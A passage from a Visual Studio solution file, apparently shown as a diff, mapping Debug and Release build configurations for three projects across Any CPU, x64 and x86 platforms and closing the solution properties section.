{A1B2C3D4-0004-0004-0004-000000000004}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Debug|x64.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Debug|x64.Build.0 = Debug|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Debug|x86.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Debug|x86.Build.0 = Debug|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Release|Any CPU.ActiveCfg = Release|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Release|Any CPU.Build.0 = Release|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Release|x64.ActiveCfg = Release|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Release|x64.Build.0 = Release|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Release|x86.ActiveCfg = Release|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Release|x86.Build.0 = Release|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Debug|x64.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Debug|x64.Build.0 = Debug|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Debug|x86.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Debug|x86.Build.0 = Debug|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Release|Any CPU.ActiveCfg = Release|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Release|Any CPU.Build.0 = Release|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Release|x64.ActiveCfg = Release|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Release|x64.Build.0 = Release|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Release|x86.ActiveCfg = Release|Any CPU + {A1B2C3D4-0005-0005-0005-000000000005}.Release|x86.Build.0 = Release|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Debug|x64.ActiveCfg = Debug|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Debug|x64.Build.0 = Debug|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Debug|x86.ActiveCfg = Debug|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Debug|x86.Build.0 = Debug|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Release|Any CPU.Build.0 = Release|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Release|x64.ActiveCfg = Release|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Release|x64.Build.0 = Release|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Release|x86.ActiveCfg = Release|Any CPU + {C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}.Release|x86.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal